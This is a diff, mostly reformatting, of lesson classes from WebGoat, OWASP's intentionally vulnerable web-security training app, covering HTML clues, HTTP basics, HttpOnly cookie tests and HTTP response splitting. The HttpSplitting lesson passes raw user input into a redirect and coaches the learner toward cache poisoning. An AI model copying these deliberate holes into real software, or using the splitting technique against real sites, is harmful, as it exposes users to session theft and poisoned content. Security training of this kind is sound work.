* @param s Description of the Parameter * @param s
* @param user Description of the Parameter * Description of the Parameter
* @param method Description of the Parameter * @param user
* Description of the Parameter
* @param method
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
* @exception Exception Description of the Exception * @exception Exception
* Description of the Exception
*/ */
protected Element makeUser(WebSession s, String user, String method) protected Element makeUser(WebSession s, String user, String method) throws Exception
throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Welcome, " + user)); ec.addElement(new P().addElement("Welcome, " + user));
ec.addElement(new P().addElement("You have been authenticated with " ec.addElement(new P().addElement("You have been authenticated with " + method));
+ method));
return (ec); return (ec);
} }
protected Element makeLogin(WebSession s) protected Element makeLogin(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Sign In ")); ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -158,10 +157,8 @@ public class HtmlClues extends LessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr tr.addElement(new TH()
.addElement(new TH() .addElement("Please sign in to your account. See the OWASP admin if you do not have an account.")
.addElement(
"Please sign in to your account. See the OWASP admin if you do not have an account.")
.setColSpan(2).setAlign("left")); .setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
@ -192,7 +189,6 @@ public class HtmlClues extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Gets the hints attribute of the CluesScreen object * Gets the hints attribute of the CluesScreen object
* *
@ -201,16 +197,13 @@ public class HtmlClues extends LessonAdapter
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints.add("You can view the HTML source by selecting 'view source' in the browser menu.");
.add("You can view the HTML source by selecting 'view source' in the browser menu.");
hints.add("There are lots of clues in the HTML"); hints.add("There are lots of clues in the HTML");
hints hints.add("Search for the word HIDDEN, look at URLs, look for comments.");
.add("Search for the word HIDDEN, look at URLs, look for comments.");
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the HtmlClues object * Gets the instructions attribute of the HtmlClues object
* *
@ -225,13 +218,11 @@ public class HtmlClues extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(30); private final static Integer DEFAULT_RANKING = new Integer(30);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the category attribute of the FailOpenAuthentication object * Gets the category attribute of the FailOpenAuthentication object
* *
@ -242,7 +233,6 @@ public class HtmlClues extends LessonAdapter
return Category.CODE_QUALITY; return Category.CODE_QUALITY;
} }
/** /**
* Gets the title attribute of the CluesScreen object * Gets the title attribute of the CluesScreen object
* *

50
main/project/JavaSource/org/owasp/webgoat/lessons/HttpBasics.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -10,32 +10,31 @@ import org.apache.ecs.html.Input;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -46,11 +45,11 @@ public class HttpBasics extends LessonAdapter
{ {
private final static String PERSON = "person"; private final static String PERSON = "person";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -62,8 +61,7 @@ public class HttpBasics extends LessonAdapter
{ {
ec.addElement(new StringElement("Enter your name: ")); ec.addElement(new StringElement("Enter your name: "));
person = new StringBuffer(s.getParser().getStringParameter(PERSON, person = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
""));
person.reverse(); person.reverse();
Input input = new Input(Input.TEXT, PERSON, person.toString()); Input input = new Input(Input.TEXT, PERSON, person.toString());
@ -71,15 +69,13 @@ public class HttpBasics extends LessonAdapter
Element b = ECSFactory.makeButton("Go!"); Element b = ECSFactory.makeButton("Go!");
ec.addElement(b); ec.addElement(b);
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
if (!person.toString().equals("") if (!person.toString().equals("") && getLessonTracker(s).getNumVisits() > 3)
&& getLessonTracker(s).getNumVisits() > 3)
{ {
makeSuccess(s); makeSuccess(s);
} }
@ -87,7 +83,6 @@ public class HttpBasics extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
@ -111,19 +106,16 @@ public class HttpBasics extends LessonAdapter
*/ */
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.GENERAL; return Category.GENERAL;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *

273
main/project/JavaSource/org/owasp/webgoat/lessons/HttpOnly.java
View File

@ -1,12 +1,11 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Date; import java.util.Date;
import java.util.List; import java.util.List;
import java.security.MessageDigest; import java.security.MessageDigest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -18,40 +17,43 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import sun.misc.BASE64Encoder; import sun.misc.BASE64Encoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class HttpOnly extends LessonAdapter { public class HttpOnly extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static Integer DEFAULT_RANKING = new Integer(125); private final static Integer DEFAULT_RANKING = new Integer(125);
@ -93,7 +95,8 @@ public class HttpOnly extends LessonAdapter {
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -106,24 +109,34 @@ public class HttpOnly extends LessonAdapter {
http = s.getRequest().getParameter(HTTPONLY); http = s.getRequest().getParameter(HTTPONLY);
action = s.getRequest().getParameter(ACTION); action = s.getRequest().getParameter(ACTION);
if(http != null) { if (http != null)
{
httpOnly = Boolean.parseBoolean(http); httpOnly = Boolean.parseBoolean(http);
} }
if(httpOnly) { if (httpOnly)
{
// System.out.println("HttpOnly: Setting HttpOnly for cookie"); // System.out.println("HttpOnly: Setting HttpOnly for cookie");
setHttpOnly(s); setHttpOnly(s);
} else { }
else
{
// System.out.println("HttpOnly: Removing HttpOnly for cookie"); // System.out.println("HttpOnly: Removing HttpOnly for cookie");
removeHttpOnly(s); removeHttpOnly(s);
} }
if(action != null) { if (action != null)
if(action.equals(READ)) { {
if (action.equals(READ))
{
handleReadAction(s); handleReadAction(s);
} else if(action.equals(WRITE)) { }
else if (action.equals(WRITE))
{
handleWriteAction(s); handleWriteAction(s);
} else { }
else
{
// s.setMessage("Invalid Request. Please try again."); // s.setMessage("Invalid Request. Please try again.");
} }
} }
@ -131,8 +144,7 @@ public class HttpOnly extends LessonAdapter {
try try
{ {
ec.addElement(makeContent(s)); ec.addElement(makeContent(s));
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -141,7 +153,6 @@ public class HttpOnly extends LessonAdapter {
return (ec); return (ec);
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
@ -152,7 +163,6 @@ public class HttpOnly extends LessonAdapter {
return Category.XSS; return Category.XSS;
} }
/** /**
* Gets the hints attribute of the EmailScreen object * Gets the hints attribute of the EmailScreen object
* *
@ -165,13 +175,15 @@ public class HttpOnly extends LessonAdapter {
return hints; return hints;
} }
private String createCustomCookieValue() { private String createCustomCookieValue()
{
String value = null; String value = null;
byte[] buffer = null; byte[] buffer = null;
MessageDigest md = null; MessageDigest md = null;
BASE64Encoder encoder = new BASE64Encoder(); BASE64Encoder encoder = new BASE64Encoder();
try { try
{
md = MessageDigest.getInstance("SHA"); md = MessageDigest.getInstance("SHA");
buffer = new Date().toString().getBytes(); buffer = new Date().toString().getBytes();
@ -179,42 +191,52 @@ public class HttpOnly extends LessonAdapter {
value = encoder.encode(md.digest()); value = encoder.encode(md.digest());
original = value; original = value;
} catch (Exception e) { } catch (Exception e)
{
e.printStackTrace(); e.printStackTrace();
} }
return value; return value;
} }
private void setHttpOnly(WebSession s) { private void setHttpOnly(WebSession s)
{
String value = createCustomCookieValue(); String value = createCustomCookieValue();
HttpServletResponse response = s.getResponse(); HttpServletResponse response = s.getResponse();
String cookie = s.getCookie(UNIQUE2U); String cookie = s.getCookie(UNIQUE2U);
if(cookie == null || cookie.equals("HACKED")) { if (cookie == null || cookie.equals("HACKED"))
{
response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly"); response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly");
original = value; original = value;
} else { }
else
{
response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly"); response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly");
original = cookie; original = cookie;
} }
} }
private void removeHttpOnly(WebSession s) { private void removeHttpOnly(WebSession s)
{
String value = createCustomCookieValue(); String value = createCustomCookieValue();
HttpServletResponse response = s.getResponse(); HttpServletResponse response = s.getResponse();
String cookie = s.getCookie(UNIQUE2U); String cookie = s.getCookie(UNIQUE2U);
if(cookie == null || cookie.equals("HACKED")) { if (cookie == null || cookie.equals("HACKED"))
{
response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";"); response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";");
original = value; original = value;
} else { }
else
{
response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";"); response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";");
original = cookie; original = cookie;
} }
} }
private ElementContainer makeContent(WebSession s) { private ElementContainer makeContent(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Element r = null; Element r = null;
Table t = null; Table t = null;
@ -242,9 +264,12 @@ public class HttpOnly extends LessonAdapter {
tr.addElement(new TD(new StringElement("Yes"))); tr.addElement(new TD(new StringElement("Yes")));
if(httpOnly == true) { if (httpOnly == true)
{
r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("Checked", "true"); r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("Checked", "true");
} else { }
else
{
r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("onClick", "document.form.submit()"); r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("onClick", "document.form.submit()");
} }
@ -252,9 +277,12 @@ public class HttpOnly extends LessonAdapter {
tr.addElement(new TD(new StringElement("No"))); tr.addElement(new TD(new StringElement("No")));
if(httpOnly == false) { if (httpOnly == false)
{
r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("Checked", "True"); r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("Checked", "True");
} else { }
else
{
r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("onClick", "document.form.submit()"); r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("onClick", "document.form.submit()");
} }
@ -265,17 +293,12 @@ public class HttpOnly extends LessonAdapter {
t.addElement(tr); t.addElement(tr);
/* tr.addElement(new TD(new StringElement("<strong>Status:</strong> " ))); /*
t.addElement(tr); * tr.addElement(new TD(new StringElement("<strong>Status:</strong> " )));
* t.addElement(tr); if(httpOnly == true) { tr.addElement(new TD(new StringElement("<div
if(httpOnly == true) { * id=\"status\">On</div>"))); } else { tr.addElement(new TD(new StringElement ("<div
tr.addElement(new TD(new StringElement("<div id=\"status\">On</div>"))); * id=\"status\">Off</div>"))); } t.addElement(tr); t.addElement(new TR(new TD(new
} else { * StringElement("<br/>"))));
tr.addElement(new TD(new StringElement ("<div id=\"status\">Off</div>")));
}
t.addElement(tr);
t.addElement(new TR(new TD(new StringElement("<br/>"))));
*/f.addElement(t); */f.addElement(t);
t = new Table(); t = new Table();
@ -294,73 +317,107 @@ public class HttpOnly extends LessonAdapter {
return ec; return ec;
} }
private void handleReadAction(WebSession s) { private void handleReadAction(WebSession s)
{
String displayed = s.getRequest().getParameter(READ_RESULT); String displayed = s.getRequest().getParameter(READ_RESULT);
if(httpOnly == true) { if (httpOnly == true)
if(displayed.indexOf(UNIQUE2U) != -1) { {
if (displayed.indexOf(UNIQUE2U) != -1)
{
s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U
+ "' cookie. It allowed direct client side read access to this cookie."); + "' cookie. It allowed direct client side read access to this cookie.");
} else { }
else
{
s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U
+ "' cookie by preventing direct client side read access to this cookie."); + "' cookie by preventing direct client side read access to this cookie.");
if (writeSuccess) { if (writeSuccess)
if (!this.isCompleted(s)) { {
if (!this.isCompleted(s))
{
makeSuccess(s); makeSuccess(s);
readSuccess = false; readSuccess = false;
writeSuccess = false; writeSuccess = false;
} }
} else { }
if (!this.isCompleted(s)) { else
{
if (!this.isCompleted(s))
{
s.setMessage("Now try to see if your browser protects write access to this cookie."); s.setMessage("Now try to see if your browser protects write access to this cookie.");
readSuccess = true; readSuccess = true;
} }
} }
} }
} else if(displayed.indexOf(UNIQUE2U) != -1) { }
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U + "' cookie was displayed in the alert dialog."); else if (displayed.indexOf(UNIQUE2U) != -1)
} else { {
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U
+ "' cookie was displayed in the alert dialog.");
}
else
{
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U
+ "' cookie should have been displayed in the alert dialog, but was not for some reason. " + "' cookie should have been displayed in the alert dialog, but was not for some reason. "
+ "(This shouldn't happen)"); + "(This shouldn't happen)");
} }
} }
private void handleWriteAction(WebSession s) { private void handleWriteAction(WebSession s)
{
String hacked = s.getCookie(UNIQUE2U); String hacked = s.getCookie(UNIQUE2U);
if(httpOnly == true) { if (httpOnly == true)
if(!original.equals(hacked)) { {
s.setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '" + UNIQUE2U + "' cookie."); if (!original.equals(hacked))
s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked + " on the client side."); {
} else { s
s.setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '" .setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '"
+ UNIQUE2U + "' cookie.");
s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked
+ " on the client side.");
}
else
{
s
.setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '"
+ UNIQUE2U + "' cookie by preventing client side modification."); + UNIQUE2U + "' cookie by preventing client side modification.");
if (readSuccess) { if (readSuccess)
if (!this.isCompleted(s)) { {
if (!this.isCompleted(s))
{
makeSuccess(s); makeSuccess(s);
readSuccess = false; readSuccess = false;
writeSuccess = false; writeSuccess = false;
} }
} else { }
if (!this.isCompleted(s)) { else
{
if (!this.isCompleted(s))
{
s.setMessage("Now try to see if your browser protects read access to this cookie."); s.setMessage("Now try to see if your browser protects read access to this cookie.");
writeSuccess = true; writeSuccess = true;
} }
} }
} }
} else if(!original.equals(hacked)) { }
else if (!original.equals(hacked))
{
s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U
+ "' cookie to be modified on the client side."); + "' cookie to be modified on the client side.");
} else { }
else
{
s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U
+ "' cookie to be modified on the client side, but it was not for some reason. " + "' cookie to be modified on the client side, but it was not for some reason. "
+ "(This shouldn't happen)"); + "(This shouldn't happen)");
} }
} }
private String getJavaScript() { private String getJavaScript()
{
StringBuffer buffer = new StringBuffer(); StringBuffer buffer = new StringBuffer();
buffer.append("<script language=\"javascript\">\n"); buffer.append("<script language=\"javascript\">\n");
@ -379,37 +436,56 @@ public class HttpOnly extends LessonAdapter {
return buffer.toString(); return buffer.toString();
} }
private String getBrowserType(WebSession s) { private String getBrowserType(WebSession s)
{
int offset = -1; int offset = -1;
String result = "unknown"; String result = "unknown";
String browser = s.getHeader("user-agent").toLowerCase(); String browser = s.getHeader("user-agent").toLowerCase();
if(browser != null) { if (browser != null)
if(browser.indexOf("firefox") != -1) { {
if (browser.indexOf("firefox") != -1)
{
browser = browser.substring(browser.indexOf("firefox")); browser = browser.substring(browser.indexOf("firefox"));
offset = getOffset(browser); offset = getOffset(browser);
result = browser.substring(0, offset); result = browser.substring(0, offset);
} else if(browser.indexOf("msie 6") != -1) { }
else if (browser.indexOf("msie 6") != -1)
{
result = "Internet Explorer 6"; result = "Internet Explorer 6";
} else if(browser.indexOf("msie 7") != -1) { }
else if (browser.indexOf("msie 7") != -1)
{
result = "Internet Explorer 7"; result = "Internet Explorer 7";
} else if(browser.indexOf("msie") != -1) { }
else if (browser.indexOf("msie") != -1)
{
result = "Internet Explorer"; result = "Internet Explorer";
} else if(browser.indexOf("opera") != -1) { }
else if (browser.indexOf("opera") != -1)
{
result = "Opera"; result = "Opera";
} else if(browser.indexOf("safari") != -1) { }
else if (browser.indexOf("safari") != -1)
{
result = "Safari"; result = "Safari";
} else if(browser.indexOf("netscape") != -1) { }
else if (browser.indexOf("netscape") != -1)
{
browser = browser.substring(browser.indexOf("netscape")); browser = browser.substring(browser.indexOf("netscape"));
offset = getOffset(browser); offset = getOffset(browser);
result = browser.substring(0, offset); result = browser.substring(0, offset);
} else if(browser.indexOf("konqueror") != -1) { }
else if (browser.indexOf("konqueror") != -1)
{
result = "Konqueror"; result = "Konqueror";
} else if(browser.indexOf("mozilla") != -1) { }
else if (browser.indexOf("mozilla") != -1)
{
result = "Mozilla"; result = "Mozilla";
} }
} }
@ -417,11 +493,14 @@ public class HttpOnly extends LessonAdapter {
return result; return result;
} }
private int getOffset(String s) { private int getOffset(String s)
{
int result = s.length(); int result = s.length();
for(int i=0; i<s.length(); i++) { for (int i = 0; i < s.length(); i++)
if(s.charAt(i) < 33 || s.charAt(i) > 126) { {
if (s.charAt(i) < 33 || s.charAt(i) > 126)
{
result = i; result = i;
break; break;
} }

111
main/project/JavaSource/org/owasp/webgoat/lessons/HttpSplitting.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.PrintWriter; import java.io.PrintWriter;
@ -5,40 +6,37 @@ import java.net.URLDecoder;
import java.text.DateFormat; import java.text.DateFormat;
import java.text.SimpleDateFormat; import java.text.SimpleDateFormat;
import java.util.*; import java.util.*;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import org.apache.ecs.*; import org.apache.ecs.*;
import org.apache.ecs.html.*; import org.apache.ecs.html.*;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -55,28 +53,26 @@ public class HttpSplitting extends SequentialLessonAdapter
private static String STAGE = "stage"; private static String STAGE = "stage";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
/** /**
* Description of the Method * Description of the Method
* *
* @param s Current WebSession * @param s
* Current WebSession
*/ */
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
// Setting a special action to be able to submit to redirect.jsp // Setting a special action to be able to submit to redirect.jsp
Form form = new Form("/WebGoat/lessons/General/redirect.jsp?" Form form = new Form("/WebGoat/lessons/General/redirect.jsp?" + "Screen=" + String.valueOf(getScreenId())
+ "Screen=" + String.valueOf(getScreenId()) + "&menu=" + "&menu=" + getDefaultCategory().getRanking().toString(), Form.POST).setName("form").setEncType("");
+ getDefaultCategory().getRanking().toString(), Form.POST)
.setName("form").setEncType("");
form.addElement(createContent(s)); form.addElement(createContent(s));
setContent(form); setContent(form);
} }
protected Element doHTTPSplitting(WebSession s) protected Element doHTTPSplitting(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -85,19 +81,16 @@ public class HttpSplitting extends SequentialLessonAdapter
try try
{ {
ec.addElement(createAttackEnvironment(s)); ec.addElement(createAttackEnvironment(s));
lang = URLDecoder.decode(s.getParser() lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
.getRawParameter(LANGUAGE, ""), "UTF-8");
// Check if we are coming from the redirect page // Check if we are coming from the redirect page
String fromRedirect = s.getParser().getStringParameter( String fromRedirect = s.getParser().getStringParameter("fromRedirect", "");
"fromRedirect", "");
if (lang.length() != 0 && fromRedirect.length() != 0) if (lang.length() != 0 && fromRedirect.length() != 0)
{ {
// Split by the line separator line.separator is platform independant // Split by the line separator line.separator is platform independant
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String[] arrTokens = lang.toString().toUpperCase().split( String[] arrTokens = lang.toString().toUpperCase().split(lineSep);
lineSep);
// Check if the user ended the first request and wrote the second malacious reply // Check if the user ended the first request and wrote the second malacious reply
@ -118,20 +111,16 @@ public class HttpSplitting extends SequentialLessonAdapter
StringBuffer msg = new StringBuffer(); StringBuffer msg = new StringBuffer();
msg.append("Good Job! "); msg.append("Good Job! ");
msg msg.append("This lesson has detected your successfull attack, ");
.append("This lesson has detected your successfull attack, "); msg.append("time to elevate your attack to a higher level. ");
msg msg.append("Try again and add Last-Modified header, intercept");
.append("time to elevate your attack to a higher level. ");
msg
.append("Try again and add Last-Modified header, intercept");
msg.append("the reply and replace it with a 304 reply."); msg.append("the reply and replace it with a 304 reply.");
s.setMessage(msg.toString()); s.setMessage(msg.toString());
} }
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -139,25 +128,21 @@ public class HttpSplitting extends SequentialLessonAdapter
return (ec); return (ec);
} }
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
return doHTTPSplitting(s); return doHTTPSplitting(s);
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
return doCachePoisining(s); return doCachePoisining(s);
} }
protected Element createAttackEnvironment(WebSession s) throws Exception protected Element createAttackEnvironment(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -173,8 +158,7 @@ public class HttpSplitting extends SequentialLessonAdapter
} }
ec.addElement(new StringElement("Search by country : ")); ec.addElement(new StringElement("Search by country : "));
